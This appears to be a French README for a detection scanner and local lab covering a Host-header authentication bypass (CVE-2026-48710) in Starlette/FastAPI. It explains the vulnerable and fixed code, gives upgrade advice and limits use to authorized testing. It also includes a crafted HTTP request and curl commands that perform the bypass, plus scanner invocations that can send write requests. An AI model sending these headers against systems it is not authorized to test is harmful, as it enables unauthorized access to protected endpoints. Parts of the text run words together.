
Scanner de détection pour CVE-2026-48710 - contournement d'authentification par en-tête Host dans Starlette/FastAPI
Scanneur de détection uniquement pour le contournement d'authentification BadHost dans Starlette / FastAPI — où le middleware d'authentification lit request.url.path au lieu de request.scope["path"], permettant à un en-tête Host falsifié de faire passer un chemin autorisé et de contourner l'authentification.
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sees request.url.path == "/health" → allowed
# ASGI still routes to /admin → bypassed
Affecté : Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
Corrigé dans : Starlette 0.46.2+
https://host/path) — le chemin est extrait automatiquement comme sondeHost et X-Forwarded-Host, deux stratégies de charge utile--preset ai) et MCP (--preset mcp)--json, --csvbadhost_vuln_lab/)Livré avec deux applications FastAPI pour validation locale :
| App | URL | Lecture auth |
|---|---|---|
| Vulnérable | http://127.0.0.1:8000 | request.url.path — contourné |
| Corrigé | http://127.0.0.1:8001 | request.scope["path"] — sûr |
cd badhost_vuln_lab
docker compose up --build
Ou sans Docker :
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
curl -i http://127.0.0.1:8000/admin # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — fixed
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help # Python 3.9+, no pip install needed
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
--protected POST:/api/checkout --protected GET:/api/cart
# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi ./openapi.json --openapi-methods all \
--unsafe-allow-write --openapi-body-mode invalid
# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi http://api.internal:8000/openapi.json
# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
--openapi ./openapi.json --csv > results.csv
# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all
--openapi-body-mode invalidenvoie{}pour les méthodes d'écriture — déclenche FastAPI422après contournement de l'authentification sans exécuter le point de terminaison. Un résultatbaseline=403 test=422est toujours une constatation SUSPECT qui mérite d'être examinée.
N'utilisez pas--openapi-body-mode minimalen production — il construit des corps de requête valides qui peuvent exécuter des points de terminaison d'écriture.
Seuls CONFIRMED et SUSPECT apparaissent dans la sortie. Code de sortie 2 = CONFIRMED, 1 = SUSPECT, 0 = propre.
# Vulnerable
if request.url.path.startswith("/public"):
...
# Fixed
if request.scope["path"].startswith("/public"):
...
Mettez à jour vers Starlette 0.46.2+ / FastAPI 0.116.0+.
Pour tests autorisés uniquement. Scannez uniquement les systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite.
| Verdict | Signification |
|---|
CONFIRMED | Référence 401/403 → test 2xx. Vulnérable. |
SUSPECT | Référence 401/403 → test 404/405/422. La porte d'authentification semble contournée ; vérifier manuellement. 422 de FastAPI est particulièrement significatif. |
REJECTED | Proxy a rejeté l'hôte malformé (400/421) avant contournement |
BLOCKED | Requête fabriquée toujours refusée |
OPEN | Déjà accessible sans authentification — pas cette CVE |